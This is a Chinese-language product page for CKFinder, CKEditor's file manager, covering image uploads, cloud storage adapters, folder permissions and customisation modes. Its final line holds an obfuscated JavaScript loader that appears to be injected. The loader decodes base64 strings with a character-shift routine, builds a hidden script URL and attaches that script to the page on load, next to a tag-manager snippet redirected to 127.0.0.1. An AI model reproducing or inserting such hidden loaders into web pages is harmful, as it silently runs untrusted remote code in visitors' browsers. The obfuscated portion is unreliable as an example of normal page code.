报告:2024 年 协同编辑现状

深入了解 RTE 中协作的趋势和未来 立即下载

立即阅读

CKFinder

一个功能强大的文件管理器,具有图像编辑和不同的图像上传选项。

上传图像和管理文件

  • 将剪贴板中的图像拖放到编辑器中或粘贴到编辑器中。
  • 自动从 Word 文档上传图像。
  • 将文件分组到文件夹和子文件夹中。
  • 在文件夹之间移动或复制文件。
  • 筛选文件以轻松找到所需内容。

裁剪、旋转、编辑和调整图像大小

  • 您的文件完全由您控制。将它们存储在您安装 CKFinder 的服务器上,或者将其配置为使用 FTP 发送文件。
  • CKFinder 附带几个现成的适配器,可以将您的文件保存到流行的云存储中:Dropbox、Amazon S3 或 Microsoft Azure。
  • CKFinder 架构允许为在几乎任何地方托管文件(包括数据库)编写适配器。

在您喜欢的任何地方上传文件

本地服务器

您的文件完全由您控制。将它们存储在您安装 CKFinder 的服务器上,或者将其配置为使用 FTP 发送文件。

现成的适配器

CKFinder 附带几个现成的适配器,可以将您的文件保存到流行的云存储中:Dropbox、Amazon S3 或 Microsoft Azure。

编写您自己的适配器

CKFinder 架构允许为在几乎任何地方(包括数据库中)托管文件编写适配器。

集成

您的文件是安全的

  • 为每个文件夹和子文件夹定义细粒度的权限。您可以使某些文件夹只读,或禁止未经身份验证的用户访问。
  • 为用户提供他们自己的私有文件夹和共享的公共空间。
  • 控制允许和禁止的文件扩展名类型。

轻松自定义!

  • 只读模式。在没有上传功能的情况下设置 CKFinder,允许用户从预定义的文件或图像列表中选择(例如,库存照片)。
  • 紧凑模式。以简洁的方式显示文件,不显示文件夹树。
  • 多种配置选项、友好的 API、详细的文档以及通过自定义插件进行扩展的能力,使您可以根据自己的需求完全调整 CKFinder。

受信任并经批准

想了解更多关于 CKEditor 的信息吗?

您好,您对产品或定价有任何疑问吗?

关于我们的 产品或定价 的疑问?

联系我们的 销售代表

表单内容字段

表单提交

HiddenGatedContent。
隐藏的未使用字段。

我们很高兴
收到您的来信!

感谢您联系 CKEditor 销售团队。我们已收到您的信息,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://127.0.0.1/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });